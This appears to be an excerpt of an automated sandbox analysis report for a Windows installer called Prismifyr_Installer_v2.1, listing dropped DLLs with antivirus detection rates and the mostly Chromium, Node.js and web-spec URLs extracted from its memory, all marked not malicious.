C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\libEGL.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Programs\Prismifyr_Installer_v2.1\libGLESv2.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1b6e99aa-5e17-4930-922d-0fcfed46e003.tmp.node	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\d9f7e9ec-5589-4098-b546-c97c7020ff02.tmp.node	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\d3dcompiler_47.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\ffmpeg.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\libEGL.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\libGLESv2.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\elevate.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\vk_swiftshader.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\vulkan-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsyC753.tmp\SpiderBanner.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsyC753.tmp\StdUtils.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsyC753.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsyC753.tmp\nsExec.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsyC753.tmp\nsis7z.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://openjsf.org/	0%	URL Reputation	safe
http://exslt.org/common	0%	URL Reputation	safe
https://sizzlejs.com/	0%	URL Reputation	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/npm/move-file	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/simplejson/simplejson	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/c4milo/v8-profiler/blob/master/binding.gyp)	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.google.com/chrome/answer/6098869	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2461709634.000000000594C000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463431471.000000000594C000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2465750451.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463742634.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2467364499.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2470168099.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471755683.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463544080.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2473239852.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462501774.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2473941850.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2470963987.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462787961.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2466551233.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2472419715.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471213086.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2461642034.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462040884.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2472028493.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462894354.000000000594C000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2464652978.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.bluetooth.com/specifications/gatt/services	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/WebBluetoothCG/web-bluetooth/blob/main/implementation-status.md	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://crbug.com/122592	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.chromestatus.com/feature/5093566007214080	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=fi&category=theme81https://myactivity.google.com/myactivity/?u	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463742634.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/TooTallNate/node-time/blob/master/binding.gyp)	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.python.org/2/library/tempfile.html#tempfile.mkstemp	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/tc39/proposal-weakrefs	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://goo.gl/t5IS6M).	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/jprichardson/node-jsonfile#readfilesyncfilename-options).	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/nodejs/node/issues/44985	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://registry.npmjs.org/bindings/1.0.0	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://url.spec.whatwg.org/#concept-urlencoded-serializer	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://chrome.google.com/webstore?hl=sk&category=theme81https://myactivity.google.com/myactivity/?u	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471755683.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://url.spec.whatwg.org/#dom-urlsearchparams-urlsearchparams	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/rbranson/node-ffi/blob/master/deps/libffi/libffi.gyp)	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://semver.org/	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/google/pprof/tree/master/proto	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://openjsf.org/	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/jrmuizel/qcms/tree/v4	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://chromium.googlesource.com/chromium/src/	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270865746.0000000006B20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/luismreis/node-openvg-canvas/blob/master/binding.gyp)	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/nickdesaulniers/node-nanomsg/blob/master/binding.gyp)	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://w3c.github.io/manifest/#installability-signals	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://exslt.org/common	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/npm/cacache	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/tensorflow/models	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/KhronosGroup/SPIRV-Headers.git	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/w3c/ServiceWorker/issues/1356.Property	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/lloyd/node-memwatch/blob/master/binding.gyp)	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://code.google.com/p/gyp/issues/detail?id=411	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://istanbul-js.org/	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/tensorflow/tflite-support	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/WICG/scheduling-apis	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://pypi.org/project/pyparsing	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://sqlite.org/	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://code.google.com/p/chromium/issues/detail?id=25916	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://webidl.spec.whatwg.org/#abstract-opdef-converttoint	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://crbug.com/333738.	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.sqlite.org/	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270865746.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://developer.chrome.com/docs/extensions/mv3/service_workers/events/Script	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.unicode.org/Public/UNIDATA/EastAsianWidth.txt	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://sizzlejs.com/	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/request/request/blob/b12a6245/lib/redirect.js#L134-L138	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://www.portaudio.com	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://beacons.gcp.gvt2.com/domainreliability/upload	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000007014000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://w3c.github.io/aria/#aria-hidden.	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://developer.chrome.com/docs/extensions/mv3/cross-origin-isolation/.	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/WICG/construct-stylesheets/issues/119#issuecomment-588352418.	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/google/shell-encryption	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://heycam.github.io/webidl/#es-iterable-entries	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/developmentseed/node-sqlite3/blob/master/deps/sqlite3.gyp)	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/wasdk/wasmparser	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://heycam.github.io/webidl/#es-interfaces	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/nodejs/node-gyp/labels/ERR%21%20node-gyp%20-v%20%3C%3D%20v5.1.0)	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://goo.gl/4NeimXOrigin	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://encoding.spec.whatwg.org/#encode-and-enqueue-a-chunk	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://tc39.github.io/ecma262/#sec-object.prototype.tostring	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/dpranke/typ.git	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://chromeenterprise.google/policies/#BrowserSwitcherUrlList	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463742634.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2467364499.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2463019604.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2473239852.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462501774.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2470963987.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2462787961.0000000002E01000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2471213086.0000000002E01000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/npm/ssri	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://streams.spec.whatwg.org/#example-manual-write-with-backpressure	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#dom-setinterval	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.khronos.org/registry/	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/rvagg/node-leveldown/blob/master/binding.gyp)	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://heycam.github.io/webidl/#dfn-iterator-prototype-object	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://tootallnate.net)	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/requests/toolbelt	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://android.com/pay	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://nodejs.org/static/images/favicons/favicon.icofaviconUrldevtoolsFrontendUrldevtoolsFrontendUr	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://web.archive.org/	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270572239.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://nodejs.org/en/docs/inspectorFor	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://xhr.spec.whatwg.org/.	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000006F23000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://crbug.com/142362.	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.chromestatus.com/feature/6662647093133312	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/rvagg/node-leveldown/blob/master/deps/snappy/snappy.gyp)	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/nodejs/gyp-next/releases)	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://crbug.com/1144908	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://datatracker.ietf.org/doc/draft-ietf-rtcweb-ip-handling.	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://pypi.python.org/pypi/pyfakefs	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2402622275.0000000005229000.00000004.00000020.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2231920283.0000000005E20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://goo.gl/EuHzyv	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://public.kitware.com/Bug/view.php?id=8392	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap12.html).	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://beacons4.gvt2.com/domainreliability/upload	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.00000000070AE000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392791609.0000000007014000.00000004.00001000.00020000.00000000.sdmp	false		unknown
http://src.chromium.org/viewvc/blink/trunk/Source/devtools/front_end/SourceMap.js	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2392473853.0000000006B20000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://github.com/sass/node-sass/blob/master/binding.gyp)	Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2270289608.0000000005A20000.00000004.00001000.00020000.00000000.sdmp, Prismifyr_Installer_v2.1 Setup 1.0.0.exe, 00000000.00000003.2474993997.0000000005226000.00000004.00000020.00020000.00000000.sdmp	false		unknown
